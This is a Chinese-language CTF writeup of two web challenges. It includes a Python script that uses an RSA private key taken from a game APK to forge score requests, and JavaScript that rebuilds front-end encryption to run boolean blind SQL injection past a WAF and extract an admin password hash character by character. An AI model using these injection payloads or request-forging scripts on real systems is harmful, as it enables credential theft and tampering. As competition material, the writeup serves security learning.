"数字经济"云安全共测大赛初赛Web-Writeup

Posted 2020-11-15 kagi

gameapp

这题首先反编译apk，简单看了看代码，主要是有startgame和score两个api，然后用模拟器(手机登不上)安装apk抓了下包，数据经过了rsa加密，所以首先用python实现rsa（在网上搜索私钥可以发现已经使用过，所以直接将别人的脚本改了改来用）。题目要求获取99999，但一次最多获取100分，所以发送999次100分，在发送一次99分即可。

 1 import cPickle,M2Crypto,os,urllib,requests
 2 BaseUrl="http://121.40.219.183:9999/"
 3 sign_pri=‘‘‘
 4 -----BEGIN RSA PRIVATE KEY-----
 5 MIICXgIBAAKBgQCqtXUIVoPUcBV1Wl3g8rGGNvMYImonQdMC1Y8USwIwf7Y0GcBP
 6 /h6fAJPAS9//qYZzy8ZfDKH1+ezifFFCUTCCa/8aYFoms223okyzeTlUIRHbIkto
 7 1JxYOazbsE6+KmE+yJiij4839SYuC1KsLWT82uHEA3Hau/DTzW4g4xhvzQIDAQAB
 8 AoGAVHWs7rAnT28ZHtPUCNzqulXrlnBIhx3JMejJfqfR8H7vff2TqcA4FEEr2QNx
 9 U0Pj0tzqS9KrO1EpQ7FwXtheoAmf3tQb5BDxPxcph2820qa/AcIxHpf5LqfONs9d
10 UrozcR23s561yjX7w5akeRzOwrq2BKwVtF/EoXvJTQKlwV0CQQDY96T70hxUOLoJ
11 FrLelwl/4Heb0Lrz83lMB6UXknUbJgOiZr/KD9NzEM477MqzKD2rTM4TeULX6cNd
12 hXm35daXAkEAyWtkRrStowoiscynG1KfaT4ksbbHWr53iqAhv7Z3SAshn3k9TURk
13 kLCQhyIcXXnuEEGFlK84WxQSy2Q6uLI9OwJBAMpLdE+7IuDAF2z79gCmUJwjfUIR
14 hw6H95OVGS/2RSvv8LmOFcpfoSaLB89Fw+TxYzaBoS71BAbulVJwbgGx0bcCQQCs
15 rJxy4UJam73Sn5hDHDn9h4D9uax+ZvskpNNJ/6uS37gbd1zOeOud/0BoGR4oJPeq
16 iAF0ziKKMlNKesq8vFExAkEAsvLbn5avP/CEkXZB4sRDV/gD3mK+IY5p+ZlBSYAe
17 KhVKdUXkdJwNqBn+iJMwFhMC7xHIbijLRe3hL9ZB0vt1nQ==
18 -----END RSA PRIVATE KEY-----
19 ‘‘‘
20 def private_encrypt(data):
21 rsa_pri = M2Crypto.RSA.load_key_string(sign_pri)
22 ctxt_pri = rsa_pri.private_encrypt(data, M2Crypto.RSA.pkcs1_padding)
23 ctxt64_pri = ctxt_pri.encode(‘base64‘)
24 return ctxt64_pri
25 def public_decrypt(msg):
26 sign_pub=‘‘‘
27 -----BEGIN PUBLIC KEY-----
28 MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCqtXUIVoPUcBV1Wl3g8rGGNvMY
29 ImonQdMC1Y8USwIwf7Y0GcBP/h6fAJPAS9//qYZzy8ZfDKH1+ezifFFCUTCCa/8a
30 YFoms223okyzeTlUIRHbIkto1JxYOazbsE6+KmE+yJiij4839SYuC1KsLWT82uHE
31 A3Hau/DTzW4g4xhvzQIDAQAB
32 -----END PUBLIC KEY-----
33 ‘‘‘
34 bio = M2Crypto.BIO.MemoryBuffer(sign_pub)
35 rsa_pub = M2Crypto.RSA.load_pub_key_bio(bio)
36 ctxt_pri = msg.decode("base64")
37 output = rsa_pub.public_decrypt(ctxt_pri, M2Crypto.RSA.pkcs1_padding)
38 return output
39 
40 data1 = ‘{"player" : "user"}‘
41 a = requests.Session()
42 a.post(url=BaseUrl+"startgame/",data=private_encrypt(data1),headers={‘Content-Type‘:‘xxx‘})
43 for i in range(999):
44 r=a.post(url=BaseUrl+"score/",data=private_encrypt("""{"score":100,"op":"add"}"""),headers={‘Content-Type‘:‘xxx‘})
45 print r.text
46 r=a.post(url=BaseUrl+"score/",data=private_encrypt("""{"score":99,"op":"add"}"""),headers={‘Content-Type‘:‘xxx‘})
47 print r.text
48 
49 r=a.get(url=BaseUrl,headers={‘Content-Type‘:‘xxx‘})
50 print r
51 print a

Inject4Fun

这题需要说的其实不多，总结就两点

1.实现前端加密

 1 var password = "admin";
 2 var username = "admin";
 3 var a = ‘1234567890abcdef‘;
 4 var key = CryptoJS.enc.Latin1.parse(a);
 5 var iv =    CryptoJS.enc.Latin1.parse(‘1234567890123456‘);
 6 var data1 = username;
 7 var encrypted1 = CryptoJS.AES.encrypt(data1, key, { iv: iv, mode: CryptoJS.mode.CBC, padding: CryptoJS.pad.ZeroPadding });
 8 var data2 = password;
 9 var encrypted2 = CryptoJS.AES.encrypt(data2, key, { iv: iv, mode: CryptoJS.mode.CBC, padding: CryptoJS.pad.ZeroPadding });
10 var rsa = new RSAKey();
11 var modulus = "CDB41B014C244A55CEC3E9D222B22C8A05A7DD7DF8A419A2A9C08E91DF725A1FD4C09777F36D394701C5DB97CCFC52FFBD5A90329295F5CEBBB89986BAAFAE4FE58A1F3ECFC39A7B960F5697632CE9D2FAA787F36D9CF5F4FE59DBB52E0554CC4B510D87AB72EB80D36A61E8B9AD00F37720578986E5F17AB0387754566F4E2B";
12 var exponent = "010001";
13 rsa.setPublic(modulus, exponent);
14 var res = rsa.encrypt(a);
15 var xhr = new XMLHttpRequest();
16 xhr.open("POST","http://129.204.73.141:2000/login.php",false);
17 xhr.setRequestHeader("Content-type","application/x-www-form-urlencoded");
18 xhr.send("username="+encrypted1+"&password="+encrypted2+"&code="+res);
19 xhr.response
20 2.绕过waf
21 这里直接给出payload
22 
23 var username = "admin‘=(left(right(password,1),1)>‘a‘)=‘1"; //返回wrong password
24 var username = "admin‘=(left(right(password,1),1)<‘a‘)=‘1"; //返回wrong user
25 exp

不知道为什么，这题的waf有毒，可能随机性触发，可以通过修改随机生成的16位key来解决着这个问题

因为waf有毒的问题，没法一次性跑出32位hash，需要多次修改a来获取完整hash

 1 var pass=‘‘;
 2 var s=‘1234567890abcdef‘;
 3 for(var n=1;n<33;n++)
 4 {
 5 for(var i in s)
 6 {
 7 var password = "admin";
 8 var username = "admin‘=(left(right(password,"+n+"),1)=‘"+s[i]+"‘)=‘1";
 9 var a = ‘1234567890abceef‘;
10 var key = CryptoJS.enc.Latin1.parse(a);
11 var iv =    CryptoJS.enc.Latin1.parse(‘1234567890123456‘);
12 var data1 = username;
13 var encrypted1 = CryptoJS.AES.encrypt(data1, key, { iv: iv, mode: CryptoJS.mode.CBC, padding: CryptoJS.pad.ZeroPadding });
14 var data2 = password;
15 var encrypted2 = CryptoJS.AES.encrypt(data2, key, { iv: iv, mode: CryptoJS.mode.CBC, padding: CryptoJS.pad.ZeroPadding });
16 var rsa = new RSAKey();
17 var modulus = "CDB41B014C244A55CEC3E9D222B22C8A05A7DD7DF8A419A2A9C08E91DF725A1FD4C09777F36D394701C5DB97CCFC52FFBD5A90329295F5CEBBB89986BAAFAE4FE58A1F3ECFC39A7B960F5697632CE9D2FAA787F36D9CF5F4FE59DBB52E0554CC4B510D87AB72EB80D36A61E8B9AD00F37720578986E5F17AB0387754566F4E2B";
18 var exponent = "010001";
19 rsa.setPublic(modulus, exponent);
20 var res = rsa.encrypt(a);
21 var xhr = new XMLHttpRequest();
22 xhr.open("POST","http://129.204.73.141:2000/login.php",false);
23 xhr.setRequestHeader("Content-type","application/x-www-form-urlencoded");
24 setTimeout(xhr.send("username="+encrypted1+"&password="+encrypted2+"&code="+res),1000);
25 if(xhr.response.search(‘wrong password‘)!=-1)
26 {pass+=s[i];console.log(s[i]+‘ ‘+n);break;}
27 }
28 }